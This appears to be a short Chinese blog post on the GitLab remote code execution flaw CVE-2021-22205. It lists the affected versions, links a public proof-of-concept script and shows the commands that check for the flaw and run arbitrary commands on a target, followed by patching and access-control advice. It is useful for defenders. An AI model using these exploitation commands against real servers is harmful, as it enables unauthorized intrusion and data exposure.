1、漏洞介绍

近日,GitLab远程代码执行漏洞(CVE-2021-22205) 被广泛利用。该漏洞是由于GitLab没有正确处理传入的图像文件,造成某些端点的路径存在无需授权的风险,攻击者可以在无需认证的情况下构造恶意图片文件并上传到GitLab,从而执行远程命令,导致服务器敏感信息泄露。

受影响版本
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3

2、漏洞检测

测试应用http://ip:port,可访问
POC脚本下载地址:https://github.com/Al1ex/CVE-2021-22205

python CVE-2021-22205.py -v true -t http://IP:Port
在这里插入图片描述

3、漏洞利用

(1)开启HTTP服务
在这里插入图片描述
(2)远程命令执行脚本:python3 CVE-2021-22205.py -a true -t http://ip:port -c command
在这里插入图片描述

4、修复建议

(1)目前Gitlab官方已发布漏洞补丁,针对受影响的资产及时更新至安全版本。
参考链接:https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/。
(2)配置访问控制策略,避免受影响的GitLab暴露在公网。

参考链接:https://www.cnblogs.com/cn-gov/p/15490588.html
https://hackerone.com/reports/1154542
https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml
https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/README.zh-cn.md

注:公布的测试脚本需要微改。

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐